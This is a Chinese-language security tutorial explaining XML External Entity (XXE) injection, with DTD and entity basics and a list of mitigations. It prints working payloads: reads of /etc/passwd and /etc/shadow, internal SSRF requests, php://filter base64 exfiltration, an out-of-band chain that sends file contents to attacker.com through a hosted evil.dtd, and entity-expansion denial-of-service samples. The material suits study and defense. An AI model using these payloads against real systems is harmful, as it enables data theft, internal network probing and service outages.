- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- XXE的基本概念和利用方式是什么
本篇內容主要講解“XXE的基本概念和利用方式是什么”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“XXE的基本概念和利用方式是什么”吧!
本文側重于對XXE原理和概念的總結,簡(jiǎn)化了細節性的內容。本文從black hat EU 2013 XML Out-Of-Band Data Retrieval、Out-of-band XML External Entity (OOB-XXE)等優(yōu)質(zhì)文章中節選了部分具有代表性的內容進(jìn)行翻譯。在保證術(shù)語(yǔ)準確性的前提下,盡量精簡(jiǎn)。
什么是XML外部實(shí)體(XXE)攻擊
帶外XML外部實(shí)體(OOB-XXE)
XML Out-Of-Band Data Retrieval
XML外部實(shí)體處理
A4:2017-XML External Entities (XXE)
XXE全稱(chēng)XML External Entity Injection,也就是XML外部實(shí)體注入。
它是對解析XML輸入的應用程序的一種攻擊。當配置不當的XML處理器處理包含對外部實(shí)體的引用的XML輸入時(shí),就會(huì )發(fā)生此攻擊。
XML 被設計用來(lái)傳輸和存儲數據,其關(guān)注點(diǎn)是數據的內容。 XML 旨在傳輸信息。要解釋XML數據,應用程序需要XML解析器。
XML文檔可以是特定類(lèi)型。您可以通過(guò)指定類(lèi)型定義在文檔中聲明此類(lèi)型。XML解析器會(huì )在處理文檔之前驗證XML文檔是否遵守此類(lèi)型定義。您可以使用兩種類(lèi)型的類(lèi)型定義:XML架構定義(XSD)或文檔類(lèi)型定義(DTD)。XXE漏洞發(fā)生在“文檔類(lèi)型定義”中。
DTD(文檔類(lèi)型定義)的作用是定義 XML 文檔的合法構建模塊。 DTD的聲明:指XML文檔中聲明該文檔的DTD或DTD來(lái)源的部分,可以包含在使用它的XML文檔內部,也可以以獨立的DTD文檔(*.dtd)文檔存在。
所以DTD一般認為有兩種引用或聲明方式:
1、內部DTD:即對XML文檔中的元素、屬性和實(shí)體的DTD的聲明都在XML文檔中。
2、外部DTD:即對XML文檔中的元素、屬性和實(shí)體的DTD的聲明都在一個(gè)獨立的DTD文件(.dtd)中。
DTD文檔的三種形式:
內部DTD類(lèi)型:<!DOCTYPE 根元素[子元素聲明]>
外部DTD類(lèi)型:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
內外部DTD文檔結合:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>
在XXE中最常用的是內部DTD類(lèi)型。
在DTD內,我們可以聲明外部實(shí)體。
實(shí)體是用于定義引用普通文本或者特殊字符的快捷方式的變量。
XML實(shí)體幾乎可以來(lái)自任何地方-包括外部資源(因此稱(chēng)為XML外部實(shí)體)。
在DTD中的實(shí)體類(lèi)型,一般分為:內部實(shí)體和外部實(shí)體,細分又分為普通實(shí)體和參數實(shí)體。
實(shí)體的具體分類(lèi)
預定義:&amp;&lt;&#37;
內部實(shí)體:<!ENTITY 實(shí)體名稱(chēng) "實(shí)體的值">
外部實(shí)體:<!ENTITY 實(shí)體名稱(chēng) SYSTEM "URI/URL">
內部實(shí)體和外部實(shí)體統稱(chēng)為普通實(shí)體
普通實(shí)體的引用方式是&普通實(shí)體名;
參數實(shí)體:<!ENTITY % 實(shí)體名 "實(shí)體內容">
參數實(shí)體的引用方式是%實(shí)體名;
普通實(shí)體和參數實(shí)體可能是:
內部的(定義在當前DTD中)
外部的(定義在外部資源中)
該應用程序解析XML文檔
實(shí)體的系統標識符部分,文檔類(lèi)型聲明(DTD)中允許使用受污染的數據
XML解析器配置為驗證和處理DTD
XML解析器配置為解析DTD內的外部實(shí)體
本地文件讀取
內網(wǎng)訪(fǎng)問(wèn)
主機掃描/端口掃描
遠程代碼執行(不常用)
拒絕服務(wù)攻擊
盡可能使用簡(jiǎn)單的數據格式(如JSON),并避免敏感數據序列化。
修補或升級XML處理器和庫。使用依賴(lài)項檢查器。
在應用程序的所有XML解析器中禁用XML外部實(shí)體和DTD處理。
在端使用白名單輸入驗證,過(guò)濾或清理,防止XML文檔、表頭、節點(diǎn)內的惡意數據。
XML或XSL文件上傳功能使用XSD(XML架構定義)驗證傳入的XML。
SAST根據檢測源代碼中的XXE。
使用虛擬補丁程序,API安全網(wǎng)關(guān)或Web應用程序防火墻(WAF)來(lái)檢測和阻止XXE攻擊。
當用戶(hù)的輸入在響應中回顯,這種XXE被稱(chēng)為基于報錯的XXE。
攻擊者可以使用XML實(shí)體。這是因為您不必在XML文檔中定義XML實(shí)體。實(shí)際上,XML實(shí)體幾乎可以來(lái)自任何地方-包括外部資源(因此稱(chēng)為XML外部實(shí)體)。這就是XXE成為服務(wù)器端請求偽造(SSRF)攻擊的一種類(lèi)型。
攻擊者可以使用URI(在XML中稱(chēng)為系統標識符)創(chuàng )建以下請求。如果將XML解析器配置為處理外部實(shí)體(默認情況下,許多XML解析器都配置為處理外部實(shí)體),則Web服務(wù)器返回系統上的文件,可能包含敏感數據。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
當然,攻擊者不僅限于獲取系統文件。他們可以輕松竊取包括源代碼在內的其他本地文件(如果他們知道Web應用程序的路徑和結構)。使用某些XML解析器,甚至可以獲取目錄列表以及本地資源的內容。XML外部實(shí)體攻擊甚至可以使攻擊者向本地網(wǎng)絡(luò )上的文件發(fā)出常規HTTP請求(即只能從防火墻后面進(jìn)行訪(fǎng)問(wèn))。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"http://192.168.0.1/secret.txt">
]>
<foo>
&xxe;
</foo>
但是,這種方法在實(shí)際應用會(huì )受到一定的限制:
XXE僅可用于獲取包含格式正確的XML文件或響應
XXE無(wú)法用于獲取二進(jìn)制文件
獲取的文件必須有足夠的權限
無(wú)法獲取非常大的文件,如
/dev/random
和/dev/zero
,會(huì )導致拒絕服務(wù)攻擊。
XML限制的解決方法
CDATA(字符數據)
訪(fǎng)問(wèn)帶有XML特殊字符(如&
、<
和>
)的文本文件
XML解析器將忽略CDATA(字符數據)標記中的特殊XML字符。
<data><![CDATA[ < " ' & > characters are ok here ]]></data>
參數實(shí)體
具體方法見(jiàn)通過(guò)HTTP進(jìn)行數據讀取
PHP協(xié)議包裝器
PHP協(xié)議包裝器是允許訪(fǎng)問(wèn)PHP輸入和輸出流的I / O流。
攻擊者可以使用php://filter
協(xié)議包裝程序對文件的內容進(jìn)行Base64編碼。由于Base64將始終被視為有效的XML,因此攻擊者可以簡(jiǎn)單地在服務(wù)器上對文件進(jìn)行編碼,然后在接收端對其進(jìn)行解碼。此方法還具有允許攻擊者竊取二進(jìn)制文件的附加好處。
請求:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&bar;
</foo>
一、通過(guò)HTTP進(jìn)行數據提取
前置知識:參數實(shí)體
除了通用實(shí)體,XML還支持參數實(shí)體。參數實(shí)體僅在文檔類(lèi)型定義(DTD)中使用。
參數實(shí)體以%
字符開(kāi)頭。此字符指示XML解析器正在定義參數實(shí)體(不是一般實(shí)體)。
前置知識:帶外攻擊
XXE攻擊有兩種類(lèi)型:帶內和帶外。
帶內XXE攻擊更為常見(jiàn),攻擊者可以立即收到對XXE payload的響應。對于帶外XXE攻擊(也稱(chēng)為盲型XXE),Web應用程序不會(huì )立即做出響應。
利用帶外XXE漏洞的過(guò)程類(lèi)似于將參數實(shí)體與帶內XXE一起使用,并且涉及創(chuàng )建外部DTD(文檔類(lèi)型定義)。有一個(gè)主要區別:使用這種類(lèi)型的攻擊,攻擊者需要XML解析器向攻擊者控制的服務(wù)器發(fā)出附加請求。這是讀取本地文件的內容所必需的。
原理
攻擊者向目標服務(wù)器發(fā)送惡意的XML請求。
目標服務(wù)器上的XML解析器首先處理參數實(shí)體,該實(shí)體加載本地文件,如
/etc/passwd
。接下來(lái),XML解析器向位于攻擊者服務(wù)器上的DTD文件發(fā)出請求。
目標服務(wù)器下載攻擊者的DTD,XML解析器處理攻擊者的DTD文件后。攻擊者DTD中的參數實(shí)體會(huì )創(chuàng )建一個(gè)通用實(shí)體。通用實(shí)體中包含著(zhù)一個(gè)訪(fǎng)問(wèn)攻擊者服務(wù)器的URL。該URL中包含本地文件內容(例如:
http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh
)。最后,在構造好URL后,XML解析器將處理通用實(shí)體,這將向攻擊者的服務(wù)器發(fā)出包含文件內容的請求。
攻擊者在服務(wù)器日志上可以看到請求記錄,并從中獲得目標文件。
以下是攻擊者如何利用帶外(OOB)技術(shù)利用參數實(shí)體竊取敏感數據的示例。
請求
POST http://example.com/xml HTTP/1.1 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <data>&send;</data> 攻擊者的DTD(attacker.com/evil.dtd) <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>"> %all;
攻擊進(jìn)行如下:
XML解析器首先處理%file
參數實(shí)體,該實(shí)體加載文件/ etc / passwd。
接下來(lái),XML解析器向位于http://attack.com/evil.dtd
的攻擊者的DTD文件發(fā)出請求。
XML解析器處理攻擊者的DTD文件后,%all
參數實(shí)體創(chuàng )建一個(gè)名為的通用實(shí)體&send
,其中包含一個(gè)URL。該URL包含文件內容(例如http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh
)。
最后,在構造URL之后,XML解析器將處理&send
實(shí)體,這將向攻擊者的服務(wù)器發(fā)出請求。
攻擊者可以在其終端記錄請求,并從日志條目中重建文件。
二、通過(guò)FTP進(jìn)行數據提取
三、查詢(xún)
XXE Attacks — Part 2: XML DTD related Attacks
帶內和帶外XML外部實(shí)體注入(XXE)漏洞非常嚴重,幾乎影響解析XML文檔的所有Web應用程序。XXE可用于導致拒絕服務(wù)以及從本地服務(wù)器竊取系統文件和源代碼。攻擊者還可以使用XXE對內部網(wǎng)絡(luò )上的其他服務(wù)器發(fā)起服務(wù)器端請求偽造(SSRF)攻擊。
定義一個(gè)實(shí)體,遞歸引用。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar "World "> <!ENTITY t1 "&bar;&bar;"> <!ENTITY t2 "&t1;&t1;&t1;&t1;"> <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;"> ]>
或者定義一個(gè)大實(shí)體,并且多次引用。
如果是Unix系統,可以在DTD中引用外部實(shí)體,用file協(xié)議讀取
/dev/random
文件。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe;</foo>
這種攻擊會(huì )使XML解析器內存過(guò)載。一些XML解析器會(huì )自動(dòng)限制它們可以使用的內存量。
遠程代碼執行
RCE可以通過(guò)XXE在php應用程序中實(shí)現,但是這非常少見(jiàn)。只有目標系統加載了php的Expect模塊(默認禁用),才有可能實(shí)現。另外,php7不支持expect模塊。
XXE在php應用程序中更容易利用。因為php提供了許多URL處理方法,流裝飾器和數據過(guò)濾器,這會(huì )增加攻擊面。
默認情況下,php支持外部實(shí)體。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站